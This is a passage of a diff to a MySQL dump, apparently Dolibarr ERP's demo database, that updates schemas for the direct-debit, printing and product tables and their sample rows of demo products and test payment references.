15:36:11',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5UlGr4FnPvt5gdsfT25YK','StripeTest',NULL),(8,11,NULL,'2020-01-01 15:44:14',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5cYGr4FnPvt5ggY1HBL2m','StripeTest',NULL),(9,12,NULL,'2020-01-01 16:52:06',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw6gDGr4FnPvt5gjuuxU6K3','StripeTest',NULL); -/*!40000 ALTER TABLE `llx_prelevement_facture_demande` ENABLE KEYS */; +LOCK TABLES `llx_prelevement_demande` WRITE; +/*!40000 ALTER TABLE `llx_prelevement_demande` DISABLE KEYS */; +INSERT INTO `llx_prelevement_demande` VALUES (1,211,50.00000000,'2017-02-06 08:11:17',1,'2017-02-21 15:53:46',1,12,'','','','',NULL,NULL,NULL,NULL,NULL,NULL),(2,5,NULL,'2020-01-01 14:35:21',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4XtGr4FnPvt5gmHCi23hC','StripeTest',NULL,NULL),(3,6,NULL,'2020-01-01 14:50:42',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4mkGr4FnPvt5gaMAjhU23','StripeTest',NULL,NULL),(4,7,NULL,'2020-01-01 14:59:09',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw4uvGr4FnPvt5gPJHfyUQt','StripeTest',NULL,NULL),(5,8,NULL,'2020-01-01 15:08:10',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw53eGr4FnPvt5gY0i3EWWR','StripeTest',NULL,NULL),(6,9,NULL,'2020-01-01 15:27:14',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5M6Gr4FnPvt5gyICZxNY7','StripeTest',NULL,NULL),(7,10,NULL,'2020-01-01 15:36:11',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5UlGr4FnPvt5gdsfT25YK','StripeTest',NULL,NULL),(8,11,NULL,'2020-01-01 15:44:14',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw5cYGr4FnPvt5ggY1HBL2m','StripeTest',NULL,NULL),(9,12,NULL,'2020-01-01 16:52:06',0,NULL,NULL,0,NULL,NULL,NULL,NULL,1,'member','pi_1Fw6gDGr4FnPvt5gjuuxU6K3','StripeTest',NULL,NULL),(10,55,4.84000000,'2023-02-04 12:42:38',0,NULL,NULL,12,'','','','',1,'facture',NULL,NULL,NULL,NULL),(11,235,0.50000000,'2023-02-27 11:40:22',0,NULL,NULL,12,'','','','',1,'facture',NULL,NULL,NULL,NULL),(12,238,20.00000000,'2023-03-08 06:40:57',0,NULL,NULL,12,'','','','',1,'facture',NULL,NULL,NULL,NULL); +/*!40000 ALTER TABLE `llx_prelevement_demande` ENABLE KEYS */; UNLOCK TABLES; -- @@ -10149,13 +9409,13 @@ CREATE TABLE `llx_prelevement_lignes` ( `fk_prelevement_bons` int(11) DEFAULT NULL, `fk_soc` int(11) NOT NULL, `statut` smallint(6) DEFAULT 0, - `client_nom` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `client_nom` varchar(255) DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, - `code_banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_guichet` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_rib` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code_banque` varchar(128) DEFAULT NULL, + `code_guichet` varchar(6) DEFAULT NULL, + `number` varchar(255) DEFAULT NULL, + `cle_rib` varchar(5) DEFAULT NULL, + `note` text DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_prelevement_lignes_fk_prelevement_bons` (`fk_prelevement_bons`), CONSTRAINT `fk_prelevement_lignes_fk_prelevement_bons` FOREIGN KEY (`fk_prelevement_bons`) REFERENCES `llx_prelevement_bons` (`rowid`) @@ -10186,7 +9446,7 @@ CREATE TABLE `llx_prelevement_rejet` ( `motif` int(11) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `fk_user_creation` int(11) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `afacturer` tinyint(4) DEFAULT 0, `fk_facture` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) @@ -10213,12 +9473,12 @@ CREATE TABLE `llx_printing` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, - `printer_name` text COLLATE utf8mb3_unicode_ci NOT NULL, - `printer_location` text COLLATE utf8mb3_unicode_ci NOT NULL, - `printer_id` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `printer_name` text NOT NULL, + `printer_location` text NOT NULL, + `printer_id` varchar(255) NOT NULL, `copy` int(11) NOT NULL DEFAULT 1, - `module` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `driver` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, + `module` varchar(16) NOT NULL, + `driver` varchar(16) NOT NULL, `userid` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -10246,44 +9506,45 @@ CREATE TABLE `llx_product` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `virtual` tinyint(4) NOT NULL DEFAULT 0, `fk_parent` int(11) DEFAULT 0, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(128) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `customcode` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(128) DEFAULT NULL, + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, + `note` text DEFAULT NULL, + `customcode` varchar(32) DEFAULT NULL, `fk_country` int(11) DEFAULT NULL, `price` double(24,8) DEFAULT 0.00000000, `price_ttc` double(24,8) DEFAULT 0.00000000, `price_min` double(24,8) DEFAULT 0.00000000, `price_min_ttc` double(24,8) DEFAULT 0.00000000, - `price_base_type` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT 'HT', + `price_base_type` varchar(3) DEFAULT 'HT', `tva_tx` double(6,3) DEFAULT NULL, `recuperableonly` int(11) NOT NULL DEFAULT 0, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `tosell` tinyint(4) DEFAULT 1, `tobuy` tinyint(4) DEFAULT 1, `onportal` smallint(6) DEFAULT 0, `tobatch` tinyint(4) NOT NULL DEFAULT 0, + `sell_or_eat_by_mandatory` tinyint(4) NOT NULL DEFAULT 0, `fk_product_type` int(11) DEFAULT 0, - `duration` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `duration` varchar(6) DEFAULT NULL, `seuil_stock_alerte` float DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `barcode` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, + `barcode` varchar(255) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT NULL, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell_intra` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell_export` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy_intra` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy_export` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `partnumber` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_sell_intra` varchar(32) DEFAULT NULL, + `accountancy_code_sell_export` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, + `accountancy_code_buy_intra` varchar(32) DEFAULT NULL, + `accountancy_code_buy_export` varchar(32) DEFAULT NULL, + `partnumber` varchar(32) DEFAULT NULL, `weight` float DEFAULT NULL, `weight_units` tinyint(4) DEFAULT NULL, `length` float DEFAULT NULL, @@ -10296,18 +9557,18 @@ CREATE TABLE `llx_product` ( `pmp` double(24,8) NOT NULL DEFAULT 0.00000000, `fifo` double(24,8) DEFAULT NULL, `lifo` double(24,8) DEFAULT NULL, - `canvas` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT 'default@product', + `canvas` varchar(32) DEFAULT 'default@product', `finished` tinyint(4) DEFAULT NULL, `hidden` tinyint(4) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `desiredstock` float DEFAULT NULL, `fk_price_expression` int(11) DEFAULT NULL, `fk_unit` int(11) DEFAULT NULL, `cost_price` double(24,8) DEFAULT NULL, - `default_vat_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_vat_code` varchar(10) DEFAULT NULL, `price_autogen` smallint(6) DEFAULT 0, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '', + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT '', `width` float DEFAULT NULL, `width_units` tinyint(4) DEFAULT NULL, `height` float DEFAULT NULL, @@ -10317,11 +9578,12 @@ CREATE TABLE `llx_product` ( `net_measure` float DEFAULT NULL, `net_measure_units` tinyint(4) DEFAULT NULL, `fk_state` int(11) DEFAULT NULL, - `batch_mask` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch_mask` varchar(32) DEFAULT NULL, `lifetime` int(11) DEFAULT NULL, `qc_frequency` int(11) DEFAULT NULL, `mandatory_period` tinyint(4) DEFAULT 0, `fk_default_bom` int(11) DEFAULT NULL, + `fk_default_workstation` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_ref` (`ref`,`entity`), UNIQUE KEY `uk_product_barcode` (`barcode`,`fk_barcode_type`,`entity`), @@ -10341,7 +9603,7 @@ CREATE TABLE `llx_product` ( CONSTRAINT `fk_product_finished` FOREIGN KEY (`finished`) REFERENCES `llx_c_product_nature` (`code`), CONSTRAINT `fk_product_fk_country` FOREIGN KEY (`fk_country`) REFERENCES `llx_c_country` (`rowid`), CONSTRAINT `fk_product_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=32 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=35 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10350,7 +9612,7 @@ CREATE TABLE `llx_product` ( LOCK TABLES `llx_product` WRITE; /*!40000 ALTER TABLE `llx_product` DISABLE KEYS */; -INSERT INTO `llx_product` VALUES (1,'2012-07-08 14:33:17','2020-01-18 19:17:03',0,0,'PINKDRESS',1,NULL,'Pink dress','A beatifull pink dress','','',NULL,9.00000000,10.12500000,0.00000000,0.00000000,'HT',12.500,0,0.000,'0',0.000,'0',1,12,1,1,0,1,0,'',NULL,NULL,'123456789066',2,'','','','',NULL,NULL,NULL,670,-3,NULL,0,NULL,0,NULL,0,2.8,0.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(2,'2012-07-09 00:30:01','2019-11-28 15:09:50',0,0,'PEARPIE',1,NULL,'Pear Pie','','','',NULL,10.00000000,12.00000000,8.33333000,10.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',1,12,1,1,0,0,0,'',NULL,NULL,'123456789077',2,'','','','',NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,NULL,0,998,0.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(3,'2012-07-09 00:30:25','2018-01-16 16:40:03',0,0,'CAKECONTRIB',1,NULL,'Cake making contribution','','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,0,0.000,'0',0.000,'0',1,NULL,1,1,0,0,1,'1m',NULL,NULL,'123456789088',2,'701CAKEM',NULL,NULL,'601CAKEM',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(4,'2012-07-10 14:44:06','2021-04-15 11:40:18',0,0,'APPLEPIE',1,NULL,'Apple Pie','Nice Bio Apple Pie.
\r\n ','','',NULL,9.00000000,9.00000000,6.00000000,6.00000000,'HT',0.000,0,9.000,'1',9.000,'1',1,12,1,1,0,1,0,'',NULL,NULL,'123456789034',2,'701','','','601',NULL,NULL,NULL,500,-3,NULL,0,NULL,0,NULL,0,1021.2,10.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,'CGST+SGST',0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(5,'2013-07-20 23:11:38','2018-01-16 16:18:24',0,0,'DOLIDROID',1,NULL,'DoliDroid, Android app for Dolibarr','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

','','',NULL,10.00000000,11.96000000,0.00000000,0.00000000,'HT',19.600,0,0.000,'0',0.000,'0',1,NULL,1,1,0,0,0,'',NULL,'https://play.google.com/store/apps/details?id=com.nltechno.dolidroidpro','123456789023',2,'701',NULL,NULL,'601',NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(10,'2011-12-31 00:00:00','2017-02-16 00:12:09',0,0,'COMP-XP4523',1,NULL,'Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.','USXP765',11,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,0,0.000,'0',0.000,'0',NULL,12,1,1,0,1,0,'',150,NULL,'123456789055',2,'701OLDC',NULL,NULL,'601OLDC',NULL,NULL,NULL,1.7,0,NULL,0,NULL,0,NULL,0,110,0.00000000,NULL,NULL,NULL,NULL,0,'20110729232310',200,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(11,'2015-01-13 20:24:42','2019-10-08 17:21:07',0,0,'ROLLUPABC',1,NULL,'Rollup Dolibarr','A nice rollup','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',0.000,0,0.000,'0',0.000,'0',1,12,1,1,0,0,0,'',NULL,NULL,'123456789044',2,'','','','',NULL,NULL,NULL,95,-3,NULL,0,2.34,-4,NULL,0,-1,0.00000000,NULL,NULL,'',1,0,NULL,NULL,NULL,NULL,12.00000000,NULL,0,NULL,'',NULL,8,NULL,8,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(12,'2018-07-30 17:31:29','2018-07-30 13:35:02',0,0,'DOLICLOUD',1,NULL,'SaaS service of Dolibarr ERP CRM','Cloud hosting of Dolibarr ERP and CRM software','','',NULL,9.00000000,9.00000000,9.00000000,9.00000000,'HT',0.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,1,'',NULL,'http://www.dolicloud.com','123456789013',2,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,'',0,0,NULL,NULL,NULL,NULL,8.50000000,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(13,'2017-02-16 03:49:00','2017-02-15 23:49:27',0,0,'COMP-XP4548',1,NULL,'Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.','USXP765',11,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,0,0.000,'0',0.000,'0',12,12,1,1,0,1,0,'',150,NULL,NULL,2,'',NULL,NULL,'',NULL,NULL,NULL,1.7,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,200,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(23,'2019-10-07 00:00:00','2019-11-28 13:51:35',0,0,'PREF123456',1,NULL,'Product name in default language','Product description in default language','a private note (free text)','customs code',1,100.00000000,110.00000000,100.00000000,110.00000000,'HT',10.000,0,0.000,'0',0.000,'0',12,NULL,0,1,0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-3,1,-1,4,-4,5,-3,NULL,0.00000000,NULL,NULL,NULL,0,0,'20191007122224',NULL,NULL,NULL,NULL,NULL,0,'a public note (free text)','',2,-1,3,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(24,'2019-11-28 16:33:35','2019-11-28 15:02:01',0,0,'POS-CARROT',1,NULL,'Carrot','','','',NULL,0.83333000,1.00000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(25,'2019-11-28 16:37:36','2020-01-13 11:13:19',0,0,'POS-APPLE',1,NULL,'Apple','','','',NULL,1.25000000,1.50000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,15.599999999999994,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(26,'2019-11-28 16:38:44','2019-11-28 12:38:44',0,0,'POS-KIWI',1,NULL,'Kiwi','','','',NULL,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(27,'2019-11-28 16:39:21','2019-11-28 14:57:44',0,0,'POS-PEACH',1,NULL,'Peach','','','',NULL,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,'',0,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(28,'2019-11-28 16:39:58','2019-11-28 12:39:58',0,0,'POS-ORANGE',1,NULL,'Orange','','','',NULL,2.00000000,2.40000000,0.00000000,0.00000000,'HT',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(29,'2019-11-28 17:03:14','2019-11-28 13:03:14',0,0,'POS-Eggs',1,NULL,'Eggs','','','',NULL,1.66667000,2.00000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(30,'2019-11-28 17:09:14','2019-11-28 13:09:14',0,0,'POS-Chips',1,NULL,'Chips','','','',NULL,0.41667000,0.50000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,30,-3,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(31,'2021-04-15 08:38:02','2021-04-15 11:38:02',0,0,'PRODSER',1,NULL,'Product NFC - Unique','','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,0,0.000,'0',0.000,'0',12,12,1,1,0,2,0,'',0,NULL,NULL,2,'','','','','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL); +INSERT INTO `llx_product` VALUES (1,'2012-07-08 14:33:17','2023-01-24 10:28:30',0,0,'PINKDRESS',1,NULL,'Pink dress','A beatifull pink dress','','',NULL,9.00000000,10.12500000,0.00000000,0.00000000,'HT',12.500,0,0.000,'0',0.000,'0',1,12,1,1,0,1,0,0,'',NULL,NULL,'123456789066',2,'','701','','','','',NULL,670,-3,NULL,0,NULL,0,NULL,0,2.8,0.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,NULL,NULL),(2,'2012-07-09 00:30:01','2019-11-28 15:09:50',0,0,'PEARPIE',1,NULL,'Pear Pie','','','',NULL,10.00000000,12.00000000,8.33333000,10.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',1,12,1,1,0,0,0,0,'',NULL,NULL,'123456789077',2,'','','','',NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,NULL,0,998,0.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(3,'2012-07-09 00:30:25','2018-01-16 16:40:03',0,0,'CAKECONTRIB',1,NULL,'Cake making contribution','','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,0,0.000,'0',0.000,'0',1,NULL,1,1,0,0,0,1,'1m',NULL,NULL,'123456789088',2,'701CAKEM',NULL,NULL,'601CAKEM',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(4,'2012-07-10 14:44:06','2021-04-15 11:40:18',0,0,'APPLEPIE',1,NULL,'Apple Pie','Nice Bio Apple Pie.
\r\n ','','',NULL,9.00000000,9.00000000,6.00000000,6.00000000,'HT',0.000,0,9.000,'1',9.000,'1',1,12,1,1,0,1,0,0,'',NULL,NULL,'123456789034',2,'701','','','601',NULL,NULL,NULL,500,-3,NULL,0,NULL,0,NULL,0,1021.2,10.00000000,NULL,NULL,NULL,1,0,NULL,NULL,NULL,NULL,NULL,'CGST+SGST',0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(5,'2013-07-20 23:11:38','2022-12-16 10:00:14',0,0,'DOLIDROID',1,NULL,'DoliDroid, Android app for Dolibarr','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

','','',NULL,10.00000000,10.00000000,0.00000000,0.00000000,'HT',0.000,0,9.000,'1',9.000,'1',1,12,1,1,0,0,0,0,'',NULL,'https://play.google.com/store/apps/details?id=com.nltechno.dolidroidpro','123456789023',2,'701','','','601','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,'CGST+SGST',0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,NULL,NULL),(10,'2011-12-31 00:00:00','2017-02-16 00:12:09',0,0,'COMP-XP4523',1,NULL,'Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.','USXP765',11,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,0,0.000,'0',0.000,'0',NULL,12,1,1,0,1,0,0,'',150,NULL,'123456789055',2,'701OLDC',NULL,NULL,'601OLDC',NULL,NULL,NULL,1.7,0,NULL,0,NULL,0,NULL,0,110,0.00000000,NULL,NULL,NULL,NULL,0,'20110729232310',200,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(11,'2015-01-13 20:24:42','2019-10-08 17:21:07',0,0,'ROLLUPABC',1,NULL,'Rollup Dolibarr','A nice 